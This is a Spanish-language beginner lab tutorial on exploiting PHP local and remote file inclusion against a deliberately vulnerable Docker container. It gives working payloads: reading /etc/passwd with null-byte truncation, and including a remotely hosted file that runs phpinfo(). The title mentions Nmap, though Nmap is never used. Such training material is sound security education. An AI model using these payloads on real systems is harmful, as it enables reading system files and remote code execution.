Explotación de vulnerabilidades de inclusión de archivos con Nmap

Beginner

Introducción

En este laboratorio, aprenderás cómo explotar vulnerabilidades de inclusión de archivos, tanto locales como remotas. Las vulnerabilidades de inclusión de archivos se producen cuando la entrada del usuario no se sanitiza adecuadamente y se utiliza para incluir archivos en el servidor. Esto puede llevar a la exposición de datos sensibles, la ejecución remota de código y otras consecuencias graves. Al entender las técnicas y las cargas útiles utilizadas en este laboratorio, adquirirás experiencia práctica en la identificación y explotación de estas vulnerabilidades.

Configuración del entorno

En esta fase, estableceremos un entorno de laboratorio para perfeccionar nuestras habilidades en la explotación de vulnerabilidades de inclusión de archivos.

Primero, ejecuta el siguiente comando para iniciar la aplicación web vulnerable:

docker run -d -p 81:80 --name pentesterlab-phpfileinclude jewel591/vulnbox:pentesterlab-phpfileinclude /bin/sh -c "sed -i 's/allow_url_include = Off/allow_url_include = On/g' /etc/php/7.3/apache2/php.ini && service apache2 start && service mysql start && tail -f /var/log/apache2/error.log" --registry-mirror=http://hub-mirror.c.163.com

Este comando inicia un contenedor Docker con una aplicación web vulnerable que se ejecuta en el puerto 81.

Luego, abre tu navegador web y ve a http://127.0.0.1:81. Deberías ver la página de inicio de la aplicación web.

Identificación de la vulnerabilidad de inclusión de archivos

En esta fase, profundizaremos en la identificación de posibles vulnerabilidades de inclusión de archivos mediante el análisis de los parámetros de la URL.

En la página de inicio de la aplicación web, presiona los botones "Submit" y "Login". Presta atención a la URL en la barra de direcciones de tu navegador. Deberías observar que la URL cambia según el parámetro page, como en http://127.0.0.1:81/index.php?page=submit y http://127.0.0.1:81/index.php?page=login.

Este patrón indica que la aplicación web podría estar manejando la entrada del usuario de manera insegura, lo que podría dar lugar a una vulnerabilidad de inclusión de archivos.

Confirmación de la vulnerabilidad

En esta fase, exploraremos cómo detectar una vulnerabilidad de inclusión de archivos. Hay dos métodos prevalentes:

  1. Método del parámetro de matriz (Array Parameter Method): Modifica el parámetro page a una matriz. Por ejemplo, http://localhost:81/index.php?page[]=test. Si encuentras un mensaje de advertencia o error que mencione "include" o "failed to open stream", significa una posible vulnerabilidad, ya que la aplicación está intentando incluir archivos basados en la entrada del usuario.

  2. Prueba de inclusión de archivos locales (Local File Inclusion Test): Intenta incluir un archivo local presente en el servidor, como /etc/passwd en Linux o C:\Windows\System32\drivers\etc\hosts en Windows. Si se muestra el contenido del archivo, se confirma una vulnerabilidad de inclusión de archivos locales.

Para esta lección, usaremos el segundo método incluyendo el archivo /etc/passwd:

http://localhost:81/index.php?page=/etc/passwd

Probablemente verás un mensaje de error que indique que la aplicación está intentando incluir /etc/passwd.php en lugar de /etc/passwd. Esto sucede porque la aplicación agrega automáticamente .php al archivo incluido.

Para evitar esto, podemos emplear la técnica del byte nulo (%00). El byte nulo termina la cadena, lo que hace que la aplicación ignore cualquier cosa que le siga.

Prueba la siguiente carga útil (payload):

http://localhost:81/index.php?page=/etc/passwd%00

Si puedes ver el contenido del archivo /etc/passwd, se verifica la presencia de una vulnerabilidad de inclusión de archivos locales.

Explotación de la inclusión de archivos remotos

En esta fase, profundizaremos en el concepto de inclusión de archivos remotos y sus posibles vulnerabilidades.

La inclusión de archivos remotos es un problema crítico que podría permitir potencialmente a un atacante incluir archivos de servidores externos. Esto podría conducir a graves violaciones de seguridad, como la ejecución remota de código o la exposición de datos sensibles.

Comencemos con un ejemplo en el que intentamos incluir un archivo remoto alojado en un servidor externo:

http://localhost:81/index.php?page=https://www.example.com/index.html%00

Al ejecutar esto, deberías poder ver el contenido del archivo remoto incluido en la respuesta de la aplicación web.

En un escenario real, un atacante normalmente alojaría su propia carga útil maliciosa en un servidor que controle y luego intentaría incluirla utilizando la vulnerabilidad de inclusión de archivos remotos.

Con fines de demostración, utilizaremos una carga útil pre - alojada del sitio web de PentesterLab:

http://localhost:81/index.php?page=https://assets.pentesterlab.com/test_include.txt%00

Esta carga útil activa la función phpinfo(), que revela información sobre la configuración de PHP del servidor.

Recuerda, esta es una demostración de una posible vulnerabilidad. Cuando desarrolles tus propias aplicaciones, es fundamental implementar medidas de seguridad adecuadas para prevenir este tipo de ataques. En la siguiente sección, hablaremos sobre algunas de estas prácticas de seguridad.

Resumen

En este laboratorio, aprendiste cómo identificar y explotar vulnerabilidades de inclusión de archivos, tanto locales como remotas. Configuraste una aplicación web vulnerable, analizaste los parámetros de la URL para identificar posibles vulnerabilidades, confirmaste la presencia de vulnerabilidades de inclusión de archivos utilizando diferentes técnicas y, finalmente, explotaste tanto las vulnerabilidades de inclusión de archivos locales como remotas. Comprender estas vulnerabilidades y sus métodos de explotación es fundamental para las pruebas de seguridad de aplicaciones web y para garantizar la protección de datos y sistemas sensibles.